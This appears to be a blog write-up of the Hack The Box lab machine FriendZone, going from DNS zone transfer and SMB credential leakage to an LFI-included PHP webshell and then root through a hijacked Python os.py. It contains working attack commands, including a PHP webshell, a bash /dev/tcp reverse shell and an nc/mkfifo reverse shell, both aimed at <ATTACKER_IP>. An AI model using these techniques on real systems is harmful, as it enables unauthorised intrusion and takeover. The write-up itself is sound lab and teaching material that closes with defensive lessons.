root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat friendzone.md
// writeups

FriendZone

9 Feb 2019 · 10 min read
FriendZone - maquina de Hack The Box

Executive summary — FriendZone is an Easy Linux box that chains several small flaws all the way to root: a DNS zone transfer (AXFR) reveals hidden subdomains; SMB exposes an anonymous share with credentials and a writable one; a LFI in the admin panel includes a webshell uploaded over SMB (RCE as www-data); a leaked config file allows a password-reuse pivot to the friend user; and the final escalation abuses a world-writable Python os.py run by a root cron. A DNS → SMB → LFI/RCE → credential reuse → Python module → root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.23.177

Attack map

[21/22] FTP (vsftpd 3.0.3) + SSH (OpenSSH 7.6p1) open, not exploited
[53] DNS → zone transfer (AXFR) → hidden subdomains
[139/445] SMB: «general» (anon → creds.txt) · «Development» (writable)
   │  mount hint in the «Files» share comment (/etc/Files)
   │  [443] administrator1: log in with the SMB creds → dashboard.php with LFI (pagename)
   │  upload a webshell to Development (mounted at /etc/Development) → include it via LFI
   ▼
[RCE]  www-data  (id confirms execution)
   │  /var/www/mysql_data.conf leaks MySQL credentials for «friend»
   │  the same password works for the friend system account (reuse)
   ▼
[USER]  friend  (user.txt)
   │  /usr/lib/python2.7/os.py is world-writable + root cron (run-parts/cron.hourly)
   ▼
[ROOT]  inject a reverse shell into os.py → root cron runs it

1. Reconnaissance

nmap -sV -sC -p- -Pn 10.129.23.177
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1
53/tcp   open  domain  ISC BIND 9.11.3
80/tcp   open  http    Apache 2.4.29  ("Friend Zone Escape software")
139/tcp  open  netbios-ssn  Samba
443/tcp  open  ssl/http     (cert: friendzone.red)
445/tcp  open  microsoft-ds Samba

FTP and SSH are open but don't offer an entry point on their own (no anonymous FTP, no SSH credentials yet). Port 80 only serves a themed landing page ("Friend Zone Escape software"); the 443 certificate, on the other hand, is the first real lead: it reveals the domain friendzone.red.

2. DNS — zone transfer (AXFR)

With a real domain and port 53 open, the first thing to try is a zone transfer: a full replication of the DNS zone between servers that, on a misconfigured BIND, gets served to anyone without authentication.

dig axfr friendzone.red @10.129.23.177
friendzone.red
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red

What AXFR is and why it matters: if allowed to anyone, AXFR reveals every internal subdomain at once — a complete map of the target that would normally require brute-force or OSINT.

echo "10.129.23.177 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" | sudo tee -a /etc/hosts

3. SMB — shares, credentials and the mount hint

smbclient -L //10.129.23.177/ -N
print$        (printers, not interesting)
Files         (anonymous read — just a comment)
general       (anonymous read)
Development   (authenticated write)
IPC$          (named pipes)

The general share allows anonymous read and holds a creds.txt:

smbclient //10.129.23.177/general -N -c 'get creds.txt'
admin:WORKWORKHhallelujah@#

The mount hint: the Files share's comment reads something like «FriendZone Samba Server Files /etc/Files». That's the key to the whole chain that follows: every SMB share is mounted at /etc/<share_name> on the server's filesystem, so whatever we upload to Development will land at /etc/Development/.

4. Web — admin panel and LFI

At administrator1.friendzone.red there's a dashboard.php, a "smart photo script" that requires login. We try the credentials from creds.txt:

curl -ik -c cookies.txt -d "username=admin&password=WORKWORKHhallelujah@#" "https://administrator1.friendzone.red/login.php"
Set-Cookie: FriendZoneAuth=...

With a valid session, dashboard.php turns out to be vulnerable to LFI via the pagename parameter: internally it runs an include() without sanitising whatever path gets passed in.

5. From LFI to RCE: webshell over SMB + include

The LFI→RCE chain: the Development share allows authenticated write and, per the hint from step 3, lands at /etc/Development/. We upload a PHP webshell there and include it via the LFI, pointing pagename at that path — without the extension, since the include() already appends .php.

smbclient //10.129.23.177/Development -U admin -c 'put shell.php'
# shell.php:  <?php system($_GET["cmd"]); ?>
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed. We set up a listener and fire a reverse shell through the same cmd parameter (URL-encoded):

nc -lvnp 9001
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<ATTACKER_IP>/9001%200%3E%261%22"

Once the connection lands, we stabilise the TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

6. Lateral movement — MySQL credential reuse

As www-data, an application config file leaks database credentials:

cat /var/www/mysql_data.conf
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ

Password reuse: the MySQL user shares its name with a system account (friend). We try the same password for su — and it works. A very common pattern on easy boxes: the same secret travels between services.

script /dev/null -c bash
su friend

With friend's shell, we read the user flag:

cat /home/friend/user.txt

7. Escalation — os.py module hijack

We enumerate with LinEnum:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t
  • /usr/lib/python2.7/os.py has rwxrwxrwx permissions (owned by root, but writable by anyone).
  • /etc/crontab runs run-parts --report /etc/cron.hourly as root, every hour at minute 17; some script in that cron.hourly invokes Python 2.7.

The idea (library hijacking): as soon as that cron script imports os, Python executes os.py exactly as it sits on disk. If we can write there, we add our own code and the cron runs it with root privileges.

nc -lvnp 4444
echo 'import os' >> /usr/lib/python2.7/os.py
echo 'os.system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f")' >> /usr/lib/python2.7/os.py

We wait for the cron to fire (minute :17) and receive the root shell.

8. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconDNS (BIND 9.11.3)Zone transfer (AXFR) without authDiscovery of hidden subdomains
Info/WriteSambaAnonymous share with credentials + writable shareCredentials + webshell upload
Footholdadministrator1 (dashboard.php)LFI (pagename) → include the webshell uploaded over SMBRCE as www-data
Lateralmysql_data.confPlaintext credentials reused as a system user's passwordAccess as friend (user.txt)
PrivEscPython 2.7 os.pyWorld-writable system file + root cron that imports itRoot

Lessons learned

  • Restrict AXFR: only between authorised servers; otherwise you leak your whole DNS map to anyone.
  • Anonymous or writable SMB is a gift: it gives up credentials and a webshell drop point, and share comments can leak real filesystem paths.
  • LFI = RCE as soon as there's any way to plant an includable file (SMB, FTP, an upload feature of the app itself…).
  • Don't reuse passwords across services: the same secret travelled from SMB → web panel → MySQL → system user.
  • System file permissions: a rwxrwxrwx on a standard library plus a root cron that touches it is a trivial escalation.